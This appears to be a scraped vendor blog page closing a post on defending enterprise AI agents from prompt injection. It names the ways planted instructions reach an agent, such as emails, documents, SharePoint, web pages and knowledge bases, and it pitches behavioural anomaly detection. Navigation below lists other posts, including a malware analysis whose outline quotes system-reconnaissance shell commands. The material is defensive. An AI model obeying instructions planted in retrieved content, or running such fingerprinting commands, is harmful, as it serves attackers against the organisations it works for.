Darktrace has been perfecting behavioral anomaly detection for over a decade; the same self-learning approach that catches BEC and account takeover applies directly to prompt injection delivery. Our multi-layered AI stack extracts content from the message, builds behavioural understanding through social graphing and Pattern of Life analysis, and then combines natural language, topic, inducement, sender relationship and anomaly signals before deciding what action to take.

This matters for prompt injection because the threat is not the plain language itself, but the intent behind the language that can cause an AI agent to respond in unexpected ways.

How to secure enterprise AI operations from prompt injection attacks

Email was the entry point in this case, but it is only one of many possible vectors.

Anywhere an agent can retrieve information, an attacker can potentially introduce a prompt injection.

Emails, documents, SharePoint sites, web pages, knowledge bases, chat platforms, and third-party integrations all provide opportunities to influence an agent's behavior. Wherever an agent finds its orders, a prompt injection opportunity exists.

This is why securing AI requires more than blocking malicious inputs. Organizations also need visibility into how agents behave after consuming information from across their environment. If an agent begins accessing unexpected data, taking unusual actions, or operating outside its normal patterns, those behaviors may provide the strongest signal that something has gone wrong.

Effective AI security requires defense in depth: reducing the likelihood of malicious instructions reaching the agent while maintaining the ability to detect and investigate suspicious behavior if they do.

The challenge isn't protecting a single entry point. It's recognizing that, in an AI-powered environment, every source of information is also a potential source of influence.

Are you deploying autonomous agents across your enterprise and want to see this tested in your environment? Let's talk.

About the author

Carlo Loregian

Solutions Engineer

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Tracking Diicot: An Emerging Romanian Threat Actor

Introduction

Diicot background

Diicot TTPs

Payload execution

aliases

bins.sh

cutie.<arch>

payload

.diicot

Chrome

Update

History

Analysis of aliases

main

init_0

toDiscord

toFilter*

toApi

remoteRun

uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }

lspci | egrep VGA && lspci | grep 3D

lscpu | egrep "Model name:" | cut -d ' ' -f 14-

curl ipinfo.io/org

nproc

uname -s -v -n -r -m

readLines

Conclusion

Indicators of compromise

Discord webhooks

URLs

Files : SHA-256

IP addresses

SSH keys

Mining pools

Mining pool usernames

Mining pool passwords

Paths

References

Why Trust is the New Attack Surface: Darktrace’s Mid-Year Threat Update 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

Enjoying the blog?

More in this series

Blog

Network

August 7, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

The incident

Why this matters

Behavioral anomaly detection: The architecture that fits

Network detection and response

Email security

Securing AI

The AI-to-AI threat surface

What AISI recommends

The takeaway

Blog

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

Key takeaways

How behavioral detection helps stop prompt injection attacks

How do prompt injection attacks work?

Prompt injection attack example

How we tested prompt injection attacks on an enterprise agent

How Darktrace detected a prompt injection attack

Why behavioral security makes a difference detecting prompt injection attacks

Why enterprise AI security requires more than guardrails

How Darktrace detects prompt injection attacks in emails

How to secure enterprise AI operations from prompt injection attacks